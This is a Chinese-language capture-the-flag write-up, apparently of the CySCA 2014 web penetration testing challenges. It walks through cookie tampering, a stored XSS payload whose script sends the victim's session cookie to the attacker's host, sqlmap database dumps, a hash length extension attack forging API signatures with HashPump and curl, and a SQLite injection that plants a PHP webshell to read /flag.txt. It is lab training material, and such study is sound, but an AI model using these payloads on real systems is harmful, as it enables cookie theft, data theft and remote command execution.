from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf
一年一度的澳洲CySCA CTF是一個由澳洲政府和澳洲電信Telstra贊助的信息安全挑戰賽,主要面向澳洲各大學的安全和計算機科學專業的學生。
CTF環境全部虛擬化并且需要openvpn才能進入。
說明:
一個只有VIP用戶才能進去的blog,想辦法進去后就能看到flag了。
解題:
打開burp和瀏覽器開始觀察目標,我們發現了幾個有意思的地方:
有個用戶登錄頁面 login.php
blog導航欄里有個博客頁面的鏈接,但是是灰色的無法點擊也打不開
cookie有兩個,PHPSESSID還有vip=0
cookie沒有http only,有可能被xss到
vip=0,這有點明顯,用burp或者瀏覽器cookie編輯工具把vip改成1,刷新頁面后那個隱藏的鏈接可以打開了,打開后就是flag: ComplexKillingInverse411
說明:
用已任何已注冊用戶的身份成功登錄blog。
解題:
翻了翻這個博客,又發現了幾個好玩的地方:
可以看博客內容
可以添加回復
用戶Sycamore似乎正在看第二篇博客 view=2
Burp的內建插件 intruder可以用來在提交的參數里插入sql注入或者xss代碼,Kali中自帶了幾個xss和sql注入的字典:
/usr/share/wfuzz/wordlist/Injections/SQL.txt?
/usr/share/wfuzz/wordlist/Injections/XSS.txt
用這幾個字典里的標準注入語句和xss代碼對 GET view=?和 POST comment=?這兩個參數過了一遍,沒發現任何xss或者注入,于是我們決定對comment這個地方再仔細看看。
comment參數似乎過濾了不少東西,比如去掉了所有引號,轉義了全部html特殊字符。但是似乎comment支持markdown語言里的斜體,粗體和鏈接標簽,然后我們用burp intruder的xss測試在下面幾個輸入里面測試:
*test*?
*test*?
<test>?
果然成功了,在markdown鏈接標簽的鏈接名稱的地方存在XSS:
后續測試發現鏈接名稱最長只能用30字符,翻了翻OWASP的XSS cheat sheet,
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
最短的是這個:
<SCRIPT SRC=//ha.ckers.org/.j>?
在Kali中,新建個文件 .j,里面放點偷cookie的js:
$.get('http://192.168.16.101?cookie='+document.cookie);
然后在同目錄下用python開個http服務器:
python --m SimpleHTTPServer 80
發送XSS payload [<SCRIPT SRC=//192.168.16.101/.j>][1]
然后坐等目標上鉤...
.
.
.
等了這么久怎么還沒有?
原來是192.168.16.101這個ip太長了,payload被截斷了……
再仔細想想,好像很多瀏覽器支持十進制IP的,于是我們的payload變成了:
[<script src=//3232239717/.j>][1]?
好吧,其實還是超過了30位,不過比賽的時候這個長度被改成了75位所以無所謂了。
發送這個payload后,過了一會兒在控制臺里出現了Python HTTP Server的日志:
172.16.1.80 - - [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 -?
172.16.1.80 - - [20/Feb/2014 16:11:12] "GET?
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301
偽造cookie刷新后拿到flag: OrganicShantyAbsent505?
說明:
Flag在數據庫里。
解題:
用上面用戶的cookie登錄后逛了一下,發現用戶可以在自己的blog下面刪除評論,這個功能是通過ajax POST到deletecomment.php實現的,提交的內容里有CSRF token。
CSRF token會被最先檢查,如果不對的話會直接返回錯誤,這樣導致對提交的參數進行自動化測試會比較困難,好在burp提供了宏這個功能,可以讓我們自動采集CSRF token然后提交。
每次POST到deletecomment.php這個頁面都會返回一個不同的CSRF token,下次提交的時候必須帶著才行。
我們可以用burp里的session handler中的宏來抓取,我建議你先讀一下這篇:
http://labs.asteriskinfosec.com.au/fuzzing--and--sqlmap--inside--csrf--protected--locations--part-1/
通過SQL intruder插件,很快就可以發現在comment_id參數中存在SQL注入。
{"result":false,"error":"You have an error in your SQL syntax; check the manual?that corresponds to your MySQL server version for the right syntax to use near?'\"' at line 1","csrf":"43b461afdd56f52f"}
找到注入點后,拿上順手的SQLMAP和Burp的proxy session宏結合起來,參考這里:
http://labs.asteriskinfosec.com.au/fuzzing--and--sqlmap--inside--csrf--protected--locations--part-2/
把sqlmap的請求都保存到文件里,并且確保更新session cookie
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')
...
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error-based -
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
現在我們確認了sqlmap和burp都正確配置了,接下來就可以把庫拖下來了。
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
--current-db
current database: 'cysca'
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
cysca --tables
Database: cysca
#> sqlmap -r /root/sql-web3-headers
[5 tables]
+------------------------------------------------------------------------------+
| user |
| blogs |
| comments |
| flag |
| rest_api_log |
+------------------------------------------------------------------------------+
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
cysca -T flag --dump
[1 entry]
+--------------------------------------------+
| flag |
+--------------------------------------------+
| CeramicDrunkSound667 |
+--------------------------------------------+
flag: CeramicDrunkSound667
說明:
在緩存控制面板里面找到flag。
解題:
控制面板是REST API的形式,在說明文檔里面寫了這個API有添加文件名然后讀取文件內容的功能,也許我們能用這個功能來讀取PHP源碼?
首先需要找到API key,在上一題里似乎數據庫中有個表名叫rest_api_log,我們用SQLMAP把表拖下來看看:
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D cysca -T rest_api_log --dump
Database: cysca
Table: rest_api_log
[4 entries] +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+
| id | method | params
| api_key | created_on | request_uri | +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+
|1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 2014-02-21 09:27:20 | \\/api\\/documents |
|2 |GET |_url=%2Fdocuments&id=2
| NULL
|3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 2014-02-21 11:54:31 | \\/api\\/documents |
|4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api- v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014-02-21 12:07:43 | \\/api\\/documents\\/id\\/3 | +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+
利用里面的其中一條,放到curl里面測試一下,根據REST API的文檔,curl命令應該是這樣的:
#> curl -X PUT -d
'contenttype=text/plain&filepath=./documents/rest-api-v2.txt&api_sig=6854c04381284dac9970625820a8d32b' -H 'X-Auth: b32GjABvSf1Eiqry'
http://172.16.1.80/api/documents/id/3
根據文檔,api_sig的值是在php里面生成的:
hashlib.md5(secret+'contenttypetext/plainfilepath./documents/rest-api-v2.txtid3').
hexdigest()
secret作為雙方都共享的值,后面加上目標文件的路徑,生成的md5 hash作為api簽名,在不知道secret的情況下,似乎無法利用任意路徑生成合法的簽名。
但是真的是這樣么?
幾年前著名應用 Flickr曾經因為Hash簽名使用方法不正確結果掉進了很大的坑里,那就是 Hash長度擴展攻擊(Hash length extension attack),導致可以在不知道API secret的情況下偽造任意請求。
關于Flickr的坑請看這里:
http://netifera.com/research/flickr_api_signature_forgery.pdf
Hash長度擴展攻擊能夠實現是因為 foo=bar 和 fo=obar 會產生一樣的hash簽名,所以我們可以生成一個可以讓我們在原參數后面添加新參數,并且簽名還是可以通過檢驗的。
比如這個請求:
"contenttype=text/plain&filepath=./documents/rest-api-v2.txt"?
如果我們把它改成:
"c=ontenttypetext/plain&filepath=./documents/rest-api-v2.txt&contenttype=text/plain&filepath=./index.php"
那么在計算hash的時候字符串就會變成這樣:
SECRETcontenttypetext/plainfilepath=./documents/rest-api-v2.txtcontenttype=text/plainfilepath=./index.phpid3
因為數據在被hash的時候會被分割成固定長度的塊,前面的塊生成的hash會放入下一個塊中和塊的內容一起繼續hash,直到最后一個塊,最后一個塊生成的hash就是我們最后得到的hash,也就是前面的api_sig。
現在我們知道了前面所有塊產生的hash,如果我們自己再造一個塊,把這個hash當成前面的塊的hash放進我們自己建立的塊中來hash一下會發生什么?
結果我們在不知道secret的情況下獲得了可以在原文后添加任意內容并且產生合法hash的方法。
大部分web server在處理同樣參數的不同內容時傾向于選擇后面的,例如foo=1&foo=2,最后foo的值是2,但是有些web server也會使用前面的,這樣這個方法是不是就不能用了?
根據這個API的文檔,參數和值會拼接在一起然后一起hash,例如,foo=bar&foo1=bar1會被變成字符串foobarfoo1bar1,所以假如我們把foo=bar變成fo=obar,拼接后的字符串還是foobarfoo1bar,這樣我們就可以完全控制需要更改的參數了。
現在開始利用這個漏洞,首先下載并且編譯工具 HashPump (https://github.com/bwall/HashPump),然后利用它來生成我們需要的hash。因為我們不知道secret的長度,所以需要窮舉key的長度(hashpump的k參數)
#> ./hashpump -s 6854c04381284dac9970625820a8d32b --data
contenttypetext/plainfilepath./documents/rest-api-v2.txtid3 -a
contenttypetext/plainfilepath./index.phpid3 -k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest-api-v2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3
我們把每次嘗試k值生成的hash和字符串用curl提交到服務器,直到服務器提示成功為止,經過多次測試,我們發現k值是16.
#> curl --X PUT --d
'c=ontenttypetext/plainfilepath./documents/rest-api-v2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14' -H 'X-Auth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
接下來我們就成功獲取了index.php的源碼(成功的把index.php的源碼作為document id 3 保存):
#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP ****
似乎這個cache.php有點意思,我們改改上面的hash長度攻擊利用代碼,把index.php換成cache.php,這次我們成功的拿到了flag。
#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP ****
說明:
Web篇最后的flag藏在 /flag.txt里,你能拿到么?
解題:
上一題cache.php里面的源碼最后寫了,提交的參數access的值必須是上一題flag的md5,瀏覽器打開cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 顯示的是一個很簡單的表單,表單提交了兩個參數,URI和標題,在cache.php里面對這兩個參數嚴格檢查,比如URI參數前面必須是http://開頭,服務器必須是本地,然后這個URI必須真實存在,不能是404.
標題被限制在40字符以內,但是不會過濾引號,似乎可以被注入。
我們嘗試在標題里提交 /* ,返回了錯誤信息:
near "/*', '59ab7c9e3917a154ff56a43d08a262ab','http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error
熟悉的SQL顯錯注入,根據錯誤信息,后端數據庫似乎是SQLite,通過查看lib/caching.php的源碼我們可以確認這一點,通過源碼我們還可以看出,URI所指向的頁面內容被直接存進了數據庫中。
考慮到40個字符的限制不能進行任何有利用價值的SQL注入,我們需要找到一個可以注入長字符串的方法,頁面內容輸出緩存的功能現在派上用場了。
幸運的是,我們可以控制并且注入沒轉義過的單引號到緩存頁面,并且把緩存頁面自己緩存了,把在標題中的幾個較短的注入語句拼接在一起,一個完整的注入語句就能在緩存頁面被存入數據庫的時候執行。
這里有個很好用的SQLite注入 cheat sheet,可以直接通過注入拿shell!
http://atta.cked.me/home/sqlite3injectioncheatsheet
我們的目標是利用這段注入語句拿到shell:
',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b VALUES ('<? system($_GET[''cmd'']); ?>');/*
我們如何用40個字符的長度注入122字符的SQL語句? SQL塊注釋!
這需要一些額外的轉義并且把php的拼接指令'||'分開:
'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*
*/''_GET[''''cmd'''']); ?>'');/*
當這些標題一個個出現在緩存頁面中的時候,我們把緩存頁面給緩存了,我們的注入語句就被執行了,并且生成了webshell a.php
我們現在就可以在服務器上執行任意指令了! 比如 cat /flag.txt
# > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt?
CFlag: TryingCrampFibrous963?
Web篇完結。